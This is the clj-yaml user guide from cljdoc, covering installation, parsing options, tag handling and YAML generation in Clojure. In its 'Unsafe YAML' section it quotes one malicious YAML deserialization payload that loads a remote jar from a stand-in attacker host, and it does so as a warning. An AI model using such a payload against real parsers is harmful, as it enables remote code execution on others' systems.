Liking cljdoc? Tell your friends :D

User Guide

Audience

You want to learn more about how to use the clj-yaml library from your app, library or script.

Introduction

Clj-yaml is a Clojure wrapper over SnakeYAML.

History

  • Feb 2010 - lancepantz/clj-yaml is created

  • Dec 2013 - circleci/clj-yaml picks up the torch

  • Jan 2019 - clj-commons adopts clj-yaml where it can get the ongoing love and care that it needs

Installation

Babashka

No installation required. Clj-yaml is built into babashka.

Leiningen/Boot

[clj-commons/clj-yaml "1.0.26"]

Clojure CLI/deps.edn

clj-commons/clj-yaml {:mvn/version "1.0.26"}

As Git Dependency

To get the latest changes that are not yet released to Clojars, you can use this library as a git dependency:

$ cat deps.edn
{:deps {clj-commons/clj-yaml {:git/url "https://github.com/clj-commons/clj-yaml"
                              :git/sha "05eaca35c34c092ffdd2e620ef07962ce147a88b"}}}

$ clj -X:deps prep
$ clj -M -e "(require '[clj-yaml.core :as yaml])"

Replace the :git/sha value as appropriate.

Usage

Internal vs Public API

When the clj-commons/clj-yaml team adopted clj-yaml it made some assumptions about the clj-yaml public API. It turns out folks are using more of clj-yaml than we originally expected.

We encourage you to stick to the higher level functions as documented in the clj-yaml.core namespace.

If you do find yourself needing to use the lower level functions, please let us know. Perhaps you are doing so to overcome a limitation in clj-yaml that we could address to everyone’s benefit.

Note that:

  • babashka only exposes the higher level functions.

  • this user guide only describes and promotes usage of higher level functions

Quick Start

(require '[clj-yaml.core :as yaml])

(yaml/generate-string
  [{:name "John Smith", :age 33}
   {:name "Mary Smith", :age 27}])
;; => "- {name: John Smith, age: 33}\n- {name: Mary Smith, age: 27}\n"

(yaml/parse-string "
- {name: John Smith, age: 33}
- name: Mary Smith
  age: 27
")
;; => ({:name "John Smith", :age 33}
;;     {:name "Mary Smith", :age 27})

Parsing YAML

Key Conversion

By default, YAML keys are converted to Clojure keywords. To prevent this, include the :keywords false option when calling parse-string or parse-stream functions:

(yaml/parse-string "
- {name: John Smith}
" :keywords false)
;; => ({"name" "John Smith"})

The :keywords option defaults to true for historical reasons. When clj-yaml detects a key that cannot be converted to a Clojure keyword, it will leave it unconverted. Detection and conversion is not sophisticated and can result in keywords that are illegal and unreadable.

For this reason we added the :key-fn option. This allows you to take control and do whatever conversion makes sense for your YAML key inputs.

You can use :key-fn to do something similar to :keywords true:

(yaml/parse-string "
- {name: John Smith}
" :key-fn #(-> % :key keyword))
;; => ({:name "John Smith"})

Or, something entirely different:

(require '[clojure.string :as string])

(yaml/parse-string "
- {name: John Smith}
" :key-fn #(-> % :key string/upper-case string/reverse))
;; => ({"EMAN" "John Smith"})

Unknown tags

Unknown tags can be handled by passing a handler function via the :unknown-tag-fn option. The handler function is provided a map which includes :tag and :value keys. Note that the value passed to the unknown-tag-fn is a string if it’s a scalar, regardless of the quoting (or lack thereof) of the scalar value.

;; drop unknown tags
(yaml/parse-string "!Base12 10" :unknown-tag-fn :value
;; => "10"

;; or do some smart convertion
(yaml/parse-string "!Base12 10"
                   :unknown-tag-fn (fn [{:keys [tag value]}]
                                      (if (= "!Base12" tag)
                                          (Integer/parseInt value 12)
                                          value)))
;; => 12

Unsafe YAML

Clj-yaml optionally supports the creation of Java classes. This is considered unsafe.

Be very wary of specifying :unsafe true unless you completely trust your YAML inputs. Consider instead using :unknown-tag-fn for fine and deliberate control.

An example of some malicious YAML is well described by J0VSEC. Here’s the dangerous snippit described:

some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker-server.tld/poc.jar"]]]]

Also security related are :allow-recursive-keys and :max-aliases-for-collections options.

Positional Data

You can ask clj-yaml to return parsed YAML with extra positional data markers via the :mark true option.

(yaml/parse-string "
- name: Mary Smith
  age: 27
" :mark true)
;; => {:start {:line 1, :index 1, :column 0},
;;     :end {:line 3, :index 30, :column 0},
;;     :unmark
;;     ({:start {:line 1, :index 3, :column 2},
;;       :end {:line 3, :index 30, :column 0},
;;       :unmark
;;       {{:start {:line 1, :index 3, :column 2},
;;         :end {:line 1, :index 7, :column 6},
;;         :unmark "name"}
;;        {:start {:line 1, :index 9, :column 8},
;;         :end {:line 1, :index 19, :column 18},
;;         :unmark "Mary Smith"},
;;        {:start {:line 2, :index 22, :column 2},
;;         :end {:line 2, :index 25, :column 5},
;;         :unmark "age"}
;;        {:start {:line 2, :index 27, :column 7},
;;         :end {:line 2, :index 29, :column 9},
;;         :unmark 27}}})}

In reality, the :start :end and :unmark maps are internally a record and can be recognized via marked? and unwrapped via unmark.

Generating YAML

Dumper Options

Different flow styles (:auto, :block, :flow) allow customization of how YAML is rendered.

To demonstrate let’s setup some-data to play with.

(def some-yaml "
todo:
  - name: Fix issue
    responsible:
      name: Rita
")

(def some-data (yaml/parse-string some-yaml))

To select the :block flow style:

(yaml/generate-string some-data :dumper-options {:flow-style :block})

results in a string of YAML, that when printed:

todo:
- name: Fix issue
  responsible:
    name: Rita

The same but with the :flow style results in:

{todo: [{name: Fix issue, responsible: {name: Rita}}]}

And finally the :auto style (the default) renders:

todo:
- name: Fix issue
  responsible: {name: Rita}

Use the :indent and :indicator-indent options to adjust indentation:

(yaml/generate-string some-data :dumper-options {:indent 6
                                                 :indicator-indent 3
                                                 :flow-style :block})

results in:

todo:
   -  name: Fix issue
      responsible:
            name: Rita

:indent must always be larger than :indicator-indent. If it is only 1 higher, the indicator will be on a separate line:

(yaml/generate-string some-data :dumper-options {:indent 2
                                                 :indicator-indent 1
                                                 :flow-style :block})

results in:

todo:
 -
  name: Fix issue
  responsible:
    name: Rita

Function Options as Keyword Args

You’ll notice that clj-yaml functions use keyword args for options.

Clojure 1.11 allows these types of functions to instead be called with a map for the options:

;; old school
(yaml/parse-string "ok: 42" :keywords false)
;; => {"ok" 42}

;; clojure 1.11 also allows:
(yaml/parse-string "ok: 42" {:keywords false})
;; => {"ok" 42}
If you are using a version of Clojure before v1.11, or you want to stay compatible with older versions of Clojure, you’ll need to call these functions the old school way.

Can you improve this documentation? These fine people already did:
Lee Read & lread
Edit on GitHub

cljdoc is a website building & hosting documentation for Clojure/Script libraries

× close